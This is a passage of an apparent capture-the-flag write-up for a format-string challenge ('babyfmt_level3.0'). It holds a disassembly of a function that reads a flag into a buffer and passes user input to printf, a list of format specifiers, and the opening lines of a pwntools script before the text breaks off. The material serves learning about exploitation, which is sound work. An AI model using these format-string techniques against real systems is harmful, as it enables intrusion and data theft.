<span id="cb6-12"><a href="#cb6-12" aria-hidden="true" tabindex="-1"></a>   0x00000000004014eb &lt;+43&gt;:	<span class="kw">mov</span>    <span class="dt">QWORD</span> <span class="dt">PTR</span> <span class="op">[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0x2bde</span><span class="op">],</span><span class="kw">rax</span>        # <span class="bn">0x4040d0</span> <span class="op">&lt;</span>bp_<span class="op">&gt;</span></span>
<span id="cb6-13"><a href="#cb6-13" aria-hidden="true" tabindex="-1"></a>   0x00000000004014f2 &lt;+50&gt;:	<span class="kw">mov</span>    <span class="kw">rdx</span><span class="op">,</span><span class="dt">QWORD</span> <span class="dt">PTR</span> <span class="op">[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0x2bd7</span><span class="op">]</span>        # <span class="bn">0x4040d0</span> <span class="op">&lt;</span>bp_<span class="op">&gt;</span></span>
<span id="cb6-14"><a href="#cb6-14" aria-hidden="true" tabindex="-1"></a>   0x00000000004014f9 &lt;+57&gt;:	<span class="kw">mov</span>    <span class="kw">rax</span><span class="op">,</span><span class="dt">QWORD</span> <span class="dt">PTR</span> <span class="op">[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0x2cd8</span><span class="op">]</span>        # <span class="bn">0x4041d8</span> <span class="op">&lt;</span>sp_<span class="op">&gt;</span></span>
<span id="cb6-15"><a href="#cb6-15" aria-hidden="true" tabindex="-1"></a>   0x0000000000401500 &lt;+64&gt;:	<span class="kw">sub</span>    <span class="kw">rdx</span><span class="op">,</span><span class="kw">rax</span></span>
<span id="cb6-16"><a href="#cb6-16" aria-hidden="true" tabindex="-1"></a>   0x0000000000401503 &lt;+67&gt;:	<span class="kw">mov</span>    <span class="kw">rax</span><span class="op">,</span><span class="kw">rdx</span></span>
<span id="cb6-17"><a href="#cb6-17" aria-hidden="true" tabindex="-1"></a>   0x0000000000401506 &lt;+70&gt;:	<span class="kw">shr</span>    <span class="kw">rax</span><span class="op">,</span><span class="bn">0x3</span></span>
<span id="cb6-18"><a href="#cb6-18" aria-hidden="true" tabindex="-1"></a>   0x000000000040150a &lt;+74&gt;:	<span class="kw">add</span>    <span class="kw">rax</span><span class="op">,</span><span class="bn">0x2</span></span>
<span id="cb6-19"><a href="#cb6-19" aria-hidden="true" tabindex="-1"></a>   0x000000000040150e &lt;+78&gt;:	<span class="kw">mov</span>    <span class="dt">QWORD</span> <span class="dt">PTR</span> <span class="op">[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0x2cb3</span><span class="op">],</span><span class="kw">rax</span>        # <span class="bn">0x4041c8</span> <span class="op">&lt;</span>sz_<span class="op">&gt;</span></span>
<span id="cb6-20"><a href="#cb6-20" aria-hidden="true" tabindex="-1"></a>   0x0000000000401515 &lt;+85&gt;:	<span class="kw">mov</span>    <span class="kw">rax</span><span class="op">,</span><span class="dt">QWORD</span> <span class="dt">PTR</span> <span class="op">[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0x2bb4</span><span class="op">]</span>        # <span class="bn">0x4040d0</span> <span class="op">&lt;</span>bp_<span class="op">&gt;</span></span>
<span id="cb6-21"><a href="#cb6-21" aria-hidden="true" tabindex="-1"></a>   0x000000000040151c &lt;+92&gt;:	<span class="kw">add</span>    <span class="kw">rax</span><span class="op">,</span><span class="bn">0x8</span></span>
<span id="cb6-22"><a href="#cb6-22" aria-hidden="true" tabindex="-1"></a>   0x0000000000401520 &lt;+96&gt;:	<span class="kw">mov</span>    <span class="dt">QWORD</span> <span class="dt">PTR</span> <span class="op">[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0x2ca9</span><span class="op">],</span><span class="kw">rax</span>        # <span class="bn">0x4041d0</span> <span class="op">&lt;</span>rp_<span class="op">&gt;</span></span>
<span id="cb6-23"><a href="#cb6-23" aria-hidden="true" tabindex="-1"></a>   0x0000000000401527 &lt;+103&gt;:	<span class="kw">lea</span>    <span class="kw">rdx</span><span class="op">,[</span><span class="kw">rbp</span><span class="op">-</span><span class="bn">0x200</span><span class="op">]</span></span>
<span id="cb6-24"><a href="#cb6-24" aria-hidden="true" tabindex="-1"></a>   0x000000000040152e &lt;+110&gt;:	<span class="kw">mov</span>    <span class="kw">eax</span><span class="op">,</span><span class="bn">0x0</span></span>
<span id="cb6-25"><a href="#cb6-25" aria-hidden="true" tabindex="-1"></a>   0x0000000000401533 &lt;+115&gt;:	<span class="kw">mov</span>    <span class="kw">ecx</span><span class="op">,</span><span class="bn">0x3e</span></span>
<span id="cb6-26"><a href="#cb6-26" aria-hidden="true" tabindex="-1"></a>   0x0000000000401538 &lt;+120&gt;:	<span class="kw">mov</span>    <span class="kw">rdi</span><span class="op">,</span><span class="kw">rdx</span></span>
<span id="cb6-27"><a href="#cb6-27" aria-hidden="true" tabindex="-1"></a>   0x000000000040153b &lt;+123&gt;:	<span class="kw">rep</span> stos <span class="dt">QWORD</span> <span class="dt">PTR</span> <span class="kw">es</span><span class="op">:[</span><span class="kw">rdi</span><span class="op">],</span><span class="kw">rax</span></span>
<span id="cb6-28"><a href="#cb6-28" aria-hidden="true" tabindex="-1"></a>   0x000000000040153e &lt;+126&gt;:	<span class="kw">mov</span>    <span class="kw">edi</span><span class="op">,</span><span class="bn">0x0</span></span>
<span id="cb6-29"><a href="#cb6-29" aria-hidden="true" tabindex="-1"></a>   0x0000000000401543 &lt;+131&gt;:	<span class="cf">call</span>   <span class="bn">0x401160</span> <span class="op">&lt;</span>time@plt<span class="op">&gt;</span></span>
<span id="cb6-30"><a href="#cb6-30" aria-hidden="true" tabindex="-1"></a>   0x0000000000401548 &lt;+136&gt;:	<span class="kw">mov</span>    <span class="kw">edi</span><span class="op">,</span><span class="kw">eax</span></span>
<span id="cb6-31"><a href="#cb6-31" aria-hidden="true" tabindex="-1"></a>   0x000000000040154a &lt;+138&gt;:	<span class="cf">call</span>   <span class="bn">0x401150</span> <span class="op">&lt;</span>srand@plt<span class="op">&gt;</span></span>
<span id="cb6-32"><a href="#cb6-32" aria-hidden="true" tabindex="-1"></a>   0x000000000040154f &lt;+143&gt;:	<span class="kw">lea</span>    <span class="kw">rdi</span><span class="op">,[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0xb9a</span><span class="op">]</span>        # <span class="bn">0x4020f0</span></span>
<span id="cb6-33"><a href="#cb6-33" aria-hidden="true" tabindex="-1"></a>   0x0000000000401556 &lt;+150&gt;:	<span class="cf">call</span>   <span class="bn">0x4010f0</span> <span class="op">&lt;</span>puts@plt<span class="op">&gt;</span></span>
<span id="cb6-34"><a href="#cb6-34" aria-hidden="true" tabindex="-1"></a>   0x000000000040155b &lt;+155&gt;:	<span class="kw">mov</span>    <span class="kw">esi</span><span class="op">,</span><span class="bn">0x0</span></span>
<span id="cb6-35"><a href="#cb6-35" aria-hidden="true" tabindex="-1"></a>   0x0000000000401560 &lt;+160&gt;:	<span class="kw">lea</span>    <span class="kw">rdi</span><span class="op">,[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0xbd7</span><span class="op">]</span>        # <span class="bn">0x40213e</span></span>
<span id="cb6-36"><a href="#cb6-36" aria-hidden="true" tabindex="-1"></a>   0x0000000000401567 &lt;+167&gt;:	<span class="kw">mov</span>    <span class="kw">eax</span><span class="op">,</span><span class="bn">0x0</span></span>
<span id="cb6-37"><a href="#cb6-37" aria-hidden="true" tabindex="-1"></a>   0x000000000040156c &lt;+172&gt;:	<span class="cf">call</span>   <span class="bn">0x401180</span> <span class="op">&lt;</span>open@plt<span class="op">&gt;</span></span>
<span id="cb6-38"><a href="#cb6-38" aria-hidden="true" tabindex="-1"></a>   0x0000000000401571 &lt;+177&gt;:	<span class="kw">mov</span>    <span class="kw">edx</span><span class="op">,</span><span class="bn">0x80</span></span>
<span id="cb6-39"><a href="#cb6-39" aria-hidden="true" tabindex="-1"></a>   0x0000000000401576 &lt;+182&gt;:	<span class="kw">lea</span>    <span class="kw">rsi</span><span class="op">,[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0x2bc3</span><span class="op">]</span>        # <span class="bn">0x404140</span> <span class="op">&lt;</span><span class="kw">global</span><span class="op">+</span><span class="dv">96</span><span class="op">&gt;</span></span>
<span id="cb6-40"><a href="#cb6-40" aria-hidden="true" tabindex="-1"></a>   0x000000000040157d &lt;+189&gt;:	<span class="kw">mov</span>    <span class="kw">edi</span><span class="op">,</span><span class="kw">eax</span></span>
<span id="cb6-41"><a href="#cb6-41" aria-hidden="true" tabindex="-1"></a>   0x000000000040157f &lt;+191&gt;:	<span class="cf">call</span>   <span class="bn">0x401140</span> <span class="op">&lt;</span>read@plt<span class="op">&gt;</span></span>
<span id="cb6-42"><a href="#cb6-42" aria-hidden="true" tabindex="-1"></a>   0x0000000000401584 &lt;+196&gt;:	<span class="kw">mov</span>    <span class="kw">edi</span><span class="op">,</span><span class="bn">0xa</span></span>
<span id="cb6-43"><a href="#cb6-43" aria-hidden="true" tabindex="-1"></a>   0x0000000000401589 &lt;+201&gt;:	<span class="cf">call</span>   <span class="bn">0x4010e0</span> <span class="op">&lt;</span>putchar@plt<span class="op">&gt;</span></span>
<span id="cb6-44"><a href="#cb6-44" aria-hidden="true" tabindex="-1"></a>   0x000000000040158e &lt;+206&gt;:	<span class="kw">lea</span>    <span class="kw">rdi</span><span class="op">,[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0xbb3</span><span class="op">]</span>        # <span class="bn">0x402148</span></span>
<span id="cb6-45"><a href="#cb6-45" aria-hidden="true" tabindex="-1"></a>   0x0000000000401595 &lt;+213&gt;:	<span class="cf">call</span>   <span class="bn">0x4010f0</span> <span class="op">&lt;</span>puts@plt<span class="op">&gt;</span></span>
<span id="cb6-46"><a href="#cb6-46" aria-hidden="true" tabindex="-1"></a>   0x000000000040159a &lt;+218&gt;:	<span class="kw">lea</span>    <span class="kw">rdi</span><span class="op">,[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0xbe7</span><span class="op">]</span>        # <span class="bn">0x402188</span></span>
<span id="cb6-47"><a href="#cb6-47" aria-hidden="true" tabindex="-1"></a>   0x00000000004015a1 &lt;+225&gt;:	<span class="kw">mov</span>    <span class="kw">eax</span><span class="op">,</span><span class="bn">0x0</span></span>
<span id="cb6-48"><a href="#cb6-48" aria-hidden="true" tabindex="-1"></a>   0x00000000004015a6 &lt;+230&gt;:	<span class="cf">call</span>   <span class="bn">0x401120</span> <span class="op">&lt;</span>printf@plt<span class="op">&gt;</span></span>
<span id="cb6-49"><a href="#cb6-49" aria-hidden="true" tabindex="-1"></a>   0x00000000004015ab &lt;+235&gt;:	<span class="kw">lea</span>    <span class="kw">rdi</span><span class="op">,[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0xc2e</span><span class="op">]</span>        # <span class="bn">0x4021e0</span></span>
<span id="cb6-50"><a href="#cb6-50" aria-hidden="true" tabindex="-1"></a>   0x00000000004015b2 &lt;+242&gt;:	<span class="cf">call</span>   <span class="bn">0x4010f0</span> <span class="op">&lt;</span>puts@plt<span class="op">&gt;</span></span>
<span id="cb6-51"><a href="#cb6-51" aria-hidden="true" tabindex="-1"></a>   0x00000000004015b7 &lt;+247&gt;:	<span class="kw">lea</span>    <span class="kw">rdi</span><span class="op">,[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0xc78</span><span class="op">]</span>        # <span class="bn">0x402236</span></span>
<span id="cb6-52"><a href="#cb6-52" aria-hidden="true" tabindex="-1"></a>   0x00000000004015be &lt;+254&gt;:	<span class="cf">call</span>   <span class="bn">0x4010f0</span> <span class="op">&lt;</span>puts@plt<span class="op">&gt;</span></span>
<span id="cb6-53"><a href="#cb6-53" aria-hidden="true" tabindex="-1"></a>   0x00000000004015c3 &lt;+259&gt;:	<span class="kw">mov</span>    <span class="kw">edi</span><span class="op">,</span><span class="bn">0xa</span></span>
<span id="cb6-54"><a href="#cb6-54" aria-hidden="true" tabindex="-1"></a>   0x00000000004015c8 &lt;+264&gt;:	<span class="cf">call</span>   <span class="bn">0x4010e0</span> <span class="op">&lt;</span>putchar@plt<span class="op">&gt;</span></span>
<span id="cb6-55"><a href="#cb6-55" aria-hidden="true" tabindex="-1"></a>   0x00000000004015cd &lt;+269&gt;:	<span class="kw">lea</span>    <span class="kw">rdi</span><span class="op">,[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0xc7c</span><span class="op">]</span>        # <span class="bn">0x402250</span></span>
<span id="cb6-56"><a href="#cb6-56" aria-hidden="true" tabindex="-1"></a>   0x00000000004015d4 &lt;+276&gt;:	<span class="cf">call</span>   <span class="bn">0x4010f0</span> <span class="op">&lt;</span>puts@plt<span class="op">&gt;</span></span>
<span id="cb6-57"><a href="#cb6-57" aria-hidden="true" tabindex="-1"></a>   0x00000000004015d9 &lt;+281&gt;:	<span class="kw">lea</span>    <span class="kw">rdi</span><span class="op">,[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0xcd0</span><span class="op">]</span>        # <span class="bn">0x4022b0</span></span>
<span id="cb6-58"><a href="#cb6-58" aria-hidden="true" tabindex="-1"></a>   0x00000000004015e0 &lt;+288&gt;:	<span class="kw">mov</span>    <span class="kw">eax</span><span class="op">,</span><span class="bn">0x0</span></span>
<span id="cb6-59"><a href="#cb6-59" aria-hidden="true" tabindex="-1"></a>   0x00000000004015e5 &lt;+293&gt;:	<span class="cf">call</span>   <span class="bn">0x401120</span> <span class="op">&lt;</span>printf@plt<span class="op">&gt;</span></span>
<span id="cb6-60"><a href="#cb6-60" aria-hidden="true" tabindex="-1"></a>   0x00000000004015ea &lt;+298&gt;:	<span class="kw">lea</span>    <span class="kw">rdi</span><span class="op">,[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0xd27</span><span class="op">]</span>        # <span class="bn">0x402318</span></span>
<span id="cb6-61"><a href="#cb6-61" aria-hidden="true" tabindex="-1"></a>   0x00000000004015f1 &lt;+305&gt;:	<span class="kw">mov</span>    <span class="kw">eax</span><span class="op">,</span><span class="bn">0x0</span></span>
<span id="cb6-62"><a href="#cb6-62" aria-hidden="true" tabindex="-1"></a>   0x00000000004015f6 &lt;+310&gt;:	<span class="cf">call</span>   <span class="bn">0x401120</span> <span class="op">&lt;</span>printf@plt<span class="op">&gt;</span></span>
<span id="cb6-63"><a href="#cb6-63" aria-hidden="true" tabindex="-1"></a>   0x00000000004015fb &lt;+315&gt;:	<span class="kw">lea</span>    <span class="kw">rdi</span><span class="op">,[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0xd78</span><span class="op">]</span>        # <span class="bn">0x40237a</span></span>
<span id="cb6-64"><a href="#cb6-64" aria-hidden="true" tabindex="-1"></a>   0x0000000000401602 &lt;+322&gt;:	<span class="cf">call</span>   <span class="bn">0x4010f0</span> <span class="op">&lt;</span>puts@plt<span class="op">&gt;</span></span>
<span id="cb6-65"><a href="#cb6-65" aria-hidden="true" tabindex="-1"></a>   0x0000000000401607 &lt;+327&gt;:	<span class="kw">mov</span>    <span class="kw">edi</span><span class="op">,</span><span class="bn">0xa</span></span>
<span id="cb6-66"><a href="#cb6-66" aria-hidden="true" tabindex="-1"></a>   0x000000000040160c &lt;+332&gt;:	<span class="cf">call</span>   <span class="bn">0x4010e0</span> <span class="op">&lt;</span>putchar@plt<span class="op">&gt;</span></span>
<span id="cb6-67"><a href="#cb6-67" aria-hidden="true" tabindex="-1"></a>   0x0000000000401611 &lt;+337&gt;:	<span class="kw">lea</span>    <span class="kw">rsi</span><span class="op">,[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0x2b28</span><span class="op">]</span>        # <span class="bn">0x404140</span> <span class="op">&lt;</span><span class="kw">global</span><span class="op">+</span><span class="dv">96</span><span class="op">&gt;</span></span>
<span id="cb6-68"><a href="#cb6-68" aria-hidden="true" tabindex="-1"></a>   0x0000000000401618 &lt;+344&gt;:	<span class="kw">lea</span>    <span class="kw">rdi</span><span class="op">,[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0xd69</span><span class="op">]</span>        # <span class="bn">0x402388</span></span>
<span id="cb6-69"><a href="#cb6-69" aria-hidden="true" tabindex="-1"></a>   0x000000000040161f &lt;+351&gt;:	<span class="kw">mov</span>    <span class="kw">eax</span><span class="op">,</span><span class="bn">0x0</span></span>
<span id="cb6-70"><a href="#cb6-70" aria-hidden="true" tabindex="-1"></a>   0x0000000000401624 &lt;+356&gt;:	<span class="cf">call</span>   <span class="bn">0x401120</span> <span class="op">&lt;</span>printf@plt<span class="op">&gt;</span></span>
<span id="cb6-71"><a href="#cb6-71" aria-hidden="true" tabindex="-1"></a>   0x0000000000401629 &lt;+361&gt;:	<span class="kw">lea</span>    <span class="kw">rdi</span><span class="op">,[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0xdb8</span><span class="op">]</span>        # <span class="bn">0x4023e8</span></span>
<span id="cb6-72"><a href="#cb6-72" aria-hidden="true" tabindex="-1"></a>   0x0000000000401630 &lt;+368&gt;:	<span class="kw">mov</span>    <span class="kw">eax</span><span class="op">,</span><span class="bn">0x0</span></span>
<span id="cb6-73"><a href="#cb6-73" aria-hidden="true" tabindex="-1"></a>   0x0000000000401635 &lt;+373&gt;:	<span class="cf">call</span>   <span class="bn">0x401120</span> <span class="op">&lt;</span>printf@plt<span class="op">&gt;</span></span>
<span id="cb6-74"><a href="#cb6-74" aria-hidden="true" tabindex="-1"></a>   0x000000000040163a &lt;+378&gt;:	<span class="kw">lea</span>    <span class="kw">rdi</span><span class="op">,[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0xe04</span><span class="op">]</span>        # <span class="bn">0x402445</span></span>
<span id="cb6-75"><a href="#cb6-75" aria-hidden="true" tabindex="-1"></a>   0x0000000000401641 &lt;+385&gt;:	<span class="cf">call</span>   <span class="bn">0x4010f0</span> <span class="op">&lt;</span>puts@plt<span class="op">&gt;</span></span>
<span id="cb6-76"><a href="#cb6-76" aria-hidden="true" tabindex="-1"></a>   0x0000000000401646 &lt;+390&gt;:	<span class="kw">mov</span>    <span class="kw">esi</span><span class="op">,</span><span class="bn">0x100</span></span>
<span id="cb6-77"><a href="#cb6-77" aria-hidden="true" tabindex="-1"></a>   0x000000000040164b &lt;+395&gt;:	<span class="kw">lea</span>    <span class="kw">rdi</span><span class="op">,[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0xe0e</span><span class="op">]</span>        # <span class="bn">0x402460</span></span>
<span id="cb6-78"><a href="#cb6-78" aria-hidden="true" tabindex="-1"></a>   0x0000000000401652 &lt;+402&gt;:	<span class="kw">mov</span>    <span class="kw">eax</span><span class="op">,</span><span class="bn">0x0</span></span>
<span id="cb6-79"><a href="#cb6-79" aria-hidden="true" tabindex="-1"></a>   0x0000000000401657 &lt;+407&gt;:	<span class="cf">call</span>   <span class="bn">0x401120</span> <span class="op">&lt;</span>printf@plt<span class="op">&gt;</span></span>
<span id="cb6-80"><a href="#cb6-80" aria-hidden="true" tabindex="-1"></a>   0x000000000040165c &lt;+412&gt;:	<span class="kw">lea</span>    <span class="kw">rax</span><span class="op">,[</span><span class="kw">rbp</span><span class="op">-</span><span class="bn">0x200</span><span class="op">]</span></span>
<span id="cb6-81"><a href="#cb6-81" aria-hidden="true" tabindex="-1"></a>   0x0000000000401663 &lt;+419&gt;:	<span class="kw">add</span>    <span class="kw">rax</span><span class="op">,</span><span class="bn">0xa4</span></span>
<span id="cb6-82"><a href="#cb6-82" aria-hidden="true" tabindex="-1"></a>   0x0000000000401669 &lt;+425&gt;:	<span class="kw">mov</span>    <span class="kw">edx</span><span class="op">,</span><span class="bn">0x100</span></span>
<span id="cb6-83"><a href="#cb6-83" aria-hidden="true" tabindex="-1"></a>   0x000000000040166e &lt;+430&gt;:	<span class="kw">mov</span>    <span class="kw">rsi</span><span class="op">,</span><span class="kw">rax</span></span>
<span id="cb6-84"><a href="#cb6-84" aria-hidden="true" tabindex="-1"></a>   0x0000000000401671 &lt;+433&gt;:	<span class="kw">mov</span>    <span class="kw">edi</span><span class="op">,</span><span class="bn">0x0</span></span>
<span id="cb6-85"><a href="#cb6-85" aria-hidden="true" tabindex="-1"></a>   0x0000000000401676 &lt;+438&gt;:	<span class="cf">call</span>   <span class="bn">0x401140</span> <span class="op">&lt;</span>read@plt<span class="op">&gt;</span></span>
<span id="cb6-86"><a href="#cb6-86" aria-hidden="true" tabindex="-1"></a>   0x000000000040167b &lt;+443&gt;:	<span class="kw">mov</span>    <span class="dt">DWORD</span> <span class="dt">PTR</span> <span class="op">[</span><span class="kw">rbp</span><span class="op">-</span><span class="bn">0x19c</span><span class="op">],</span><span class="kw">eax</span></span>
<span id="cb6-87"><a href="#cb6-87" aria-hidden="true" tabindex="-1"></a>   0x0000000000401681 &lt;+449&gt;:	<span class="kw">mov</span>    <span class="kw">eax</span><span class="op">,</span><span class="dt">DWORD</span> <span class="dt">PTR</span> <span class="op">[</span><span class="kw">rbp</span><span class="op">-</span><span class="bn">0x19c</span><span class="op">]</span></span>
<span id="cb6-88"><a href="#cb6-88" aria-hidden="true" tabindex="-1"></a>   0x0000000000401687 &lt;+455&gt;:	<span class="kw">cdqe</span></span>
<span id="cb6-89"><a href="#cb6-89" aria-hidden="true" tabindex="-1"></a>   0x0000000000401689 &lt;+457&gt;:	<span class="kw">mov</span>    <span class="dt">BYTE</span> <span class="dt">PTR</span> <span class="op">[</span><span class="kw">rbp</span><span class="op">+</span><span class="kw">rax</span><span class="op">*</span><span class="dv">1</span><span class="op">-</span><span class="bn">0x15c</span><span class="op">],</span><span class="bn">0x0</span></span>
<span id="cb6-90"><a href="#cb6-90" aria-hidden="true" tabindex="-1"></a>   0x0000000000401691 &lt;+465&gt;:	<span class="kw">mov</span>    <span class="kw">eax</span><span class="op">,</span><span class="dt">DWORD</span> <span class="dt">PTR</span> <span class="op">[</span><span class="kw">rbp</span><span class="op">-</span><span class="bn">0x19c</span><span class="op">]</span></span>
<span id="cb6-91"><a href="#cb6-91" aria-hidden="true" tabindex="-1"></a>   0x0000000000401697 &lt;+471&gt;:	<span class="kw">mov</span>    <span class="kw">esi</span><span class="op">,</span><span class="kw">eax</span></span>
<span id="cb6-92"><a href="#cb6-92" aria-hidden="true" tabindex="-1"></a>   0x0000000000401699 &lt;+473&gt;:	<span class="kw">lea</span>    <span class="kw">rdi</span><span class="op">,[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0xdf1</span><span class="op">]</span>        # <span class="bn">0x402491</span></span>
<span id="cb6-93"><a href="#cb6-93" aria-hidden="true" tabindex="-1"></a>   0x00000000004016a0 &lt;+480&gt;:	<span class="kw">mov</span>    <span class="kw">eax</span><span class="op">,</span><span class="bn">0x0</span></span>
<span id="cb6-94"><a href="#cb6-94" aria-hidden="true" tabindex="-1"></a>   0x00000000004016a5 &lt;+485&gt;:	<span class="cf">call</span>   <span class="bn">0x401120</span> <span class="op">&lt;</span>printf@plt<span class="op">&gt;</span></span>
<span id="cb6-95"><a href="#cb6-95" aria-hidden="true" tabindex="-1"></a>   0x00000000004016aa &lt;+490&gt;:	<span class="kw">mov</span>    <span class="kw">edi</span><span class="op">,</span><span class="bn">0xa</span></span>
<span id="cb6-96"><a href="#cb6-96" aria-hidden="true" tabindex="-1"></a>   0x00000000004016af &lt;+495&gt;:	<span class="cf">call</span>   <span class="bn">0x4010e0</span> <span class="op">&lt;</span>putchar@plt<span class="op">&gt;</span></span>
<span id="cb6-97"><a href="#cb6-97" aria-hidden="true" tabindex="-1"></a>   0x00000000004016b4 &lt;+500&gt;:	<span class="kw">mov</span>    <span class="kw">esi</span><span class="op">,</span><span class="bn">0x100</span></span>
<span id="cb6-98"><a href="#cb6-98" aria-hidden="true" tabindex="-1"></a>   0x00000000004016b9 &lt;+505&gt;:	<span class="kw">lea</span>    <span class="kw">rdi</span><span class="op">,[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0xde8</span><span class="op">]</span>        # <span class="bn">0x4024a8</span></span>
<span id="cb6-99"><a href="#cb6-99" aria-hidden="true" tabindex="-1"></a>   0x00000000004016c0 &lt;+512&gt;:	<span class="kw">mov</span>    <span class="kw">eax</span><span class="op">,</span><span class="bn">0x0</span></span>
<span id="cb6-100"><a href="#cb6-100" aria-hidden="true" tabindex="-1"></a>   0x00000000004016c5 &lt;+517&gt;:	<span class="cf">call</span>   <span class="bn">0x401120</span> <span class="op">&lt;</span>printf@plt<span class="op">&gt;</span></span>
<span id="cb6-101"><a href="#cb6-101" aria-hidden="true" tabindex="-1"></a>   0x00000000004016ca &lt;+522&gt;:	<span class="kw">mov</span>    <span class="kw">edi</span><span class="op">,</span><span class="bn">0xa</span></span>
<span id="cb6-102"><a href="#cb6-102" aria-hidden="true" tabindex="-1"></a>   0x00000000004016cf &lt;+527&gt;:	<span class="cf">call</span>   <span class="bn">0x4010e0</span> <span class="op">&lt;</span>putchar@plt<span class="op">&gt;</span></span>
<span id="cb6-103"><a href="#cb6-103" aria-hidden="true" tabindex="-1"></a>   0x00000000004016d4 &lt;+532&gt;:	<span class="kw">lea</span>    <span class="kw">rax</span><span class="op">,[</span><span class="kw">rbp</span><span class="op">-</span><span class="bn">0x200</span><span class="op">]</span></span>
<span id="cb6-104"><a href="#cb6-104" aria-hidden="true" tabindex="-1"></a>   0x00000000004016db &lt;+539&gt;:	<span class="kw">add</span>    <span class="kw">rax</span><span class="op">,</span><span class="bn">0xa4</span></span>
<span id="cb6-105"><a href="#cb6-105" aria-hidden="true" tabindex="-1"></a>   0x00000000004016e1 &lt;+545&gt;:	<span class="kw">mov</span>    <span class="kw">rdi</span><span class="op">,</span><span class="kw">rax</span></span>
<span id="cb6-106"><a href="#cb6-106" aria-hidden="true" tabindex="-1"></a>   0x00000000004016e4 &lt;+548&gt;:	<span class="kw">mov</span>    <span class="kw">eax</span><span class="op">,</span><span class="bn">0x0</span></span>
<span id="cb6-107"><a href="#cb6-107" aria-hidden="true" tabindex="-1"></a>   0x00000000004016e9 &lt;+553&gt;:	<span class="cf">call</span>   <span class="bn">0x401120</span> <span class="op">&lt;</span>printf@plt<span class="op">&gt;</span></span>
<span id="cb6-108"><a href="#cb6-108" aria-hidden="true" tabindex="-1"></a>   0x00000000004016ee &lt;+558&gt;:	<span class="kw">mov</span>    <span class="kw">edi</span><span class="op">,</span><span class="bn">0xa</span></span>
<span id="cb6-109"><a href="#cb6-109" aria-hidden="true" tabindex="-1"></a>   0x00000000004016f3 &lt;+563&gt;:	<span class="cf">call</span>   <span class="bn">0x4010e0</span> <span class="op">&lt;</span>putchar@plt<span class="op">&gt;</span></span>
<span id="cb6-110"><a href="#cb6-110" aria-hidden="true" tabindex="-1"></a>   0x00000000004016f8 &lt;+568&gt;:	<span class="kw">nop</span></span>
<span id="cb6-111"><a href="#cb6-111" aria-hidden="true" tabindex="-1"></a>   0x00000000004016f9 &lt;+569&gt;:	<span class="kw">mov</span>    <span class="kw">rax</span><span class="op">,</span><span class="dt">QWORD</span> <span class="dt">PTR</span> <span class="op">[</span><span class="kw">rbp</span><span class="op">-</span><span class="bn">0x8</span><span class="op">]</span></span>
<span id="cb6-112"><a href="#cb6-112" aria-hidden="true" tabindex="-1"></a>   0x00000000004016fd &lt;+573&gt;:	<span class="kw">xor</span>    <span class="kw">rax</span><span class="op">,</span><span class="dt">QWORD</span> <span class="dt">PTR</span> <span class="kw">fs</span><span class="op">:</span><span class="bn">0x28</span></span>
<span id="cb6-113"><a href="#cb6-113" aria-hidden="true" tabindex="-1"></a>   0x0000000000401706 &lt;+582&gt;:	<span class="cf">je</span>     <span class="bn">0x40170d</span> <span class="op">&lt;</span>func<span class="op">+</span><span class="dv">589</span><span class="op">&gt;</span></span>
<span id="cb6-114"><a href="#cb6-114" aria-hidden="true" tabindex="-1"></a>   0x0000000000401708 &lt;+584&gt;:	<span class="cf">call</span>   <span class="bn">0x401100</span> <span class="op">&lt;</span>__stack_chk_fail@plt<span class="op">&gt;</span></span>
<span id="cb6-115"><a href="#cb6-115" aria-hidden="true" tabindex="-1"></a>   0x000000000040170d &lt;+589&gt;:	<span class="kw">leave</span></span>
<span id="cb6-116"><a href="#cb6-116" aria-hidden="true" tabindex="-1"></a>   0x000000000040170e &lt;+590&gt;:	<span class="cf">ret</span></span>
<span id="cb6-117"><a href="#cb6-117" aria-hidden="true" tabindex="-1"></a>End of assembler dump<span class="op">.</span></span></code></pre></div>
<h3 id="solve"><a href="#solve" class="anchor">#</a>solve</h3>
<p>format specifiers to keep in mind:</p>
<ul>
<li>%s (string) =</li>
<li>%d (decimal)</li>
<li>%p (memory address/pointer value)</li>
<li>%x (hexadecimal integer)</li>
<li>%lx (long hexadecimal integer)</li>
</ul>
<p>started with this payload just to see where i was landing:</p>
<div class="sourceCode" id="cb7"><pre class="sourceCode python"><code class="sourceCode python"><span id="cb7-1"><a href="#cb7-1" aria-hidden="true" tabindex="-1"></a><span class="im">from</span> pwn <span class="im">import</span> <span class="op">*</span></span>
<span id="cb7-2"><a href="#cb7-2" aria-hidden="true" tabindex="-1"></a>context.arch <span class="op">=</span> <span class="st">&#39;amd64&#39;</span></span>
<span id="cb7-3"><a href="#cb7-3" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb7-4"><a href="#cb7-4" aria-hidden="true" tabindex="-1"></a>p <span class="op">=</span> process(<span class="st">&#39;./babyfmt_level3.0&#39;</span>)</span>
<span id="cb7-5"><a href="#cb7-5" aria-hidden="true" tabindex="-1"></a></span>
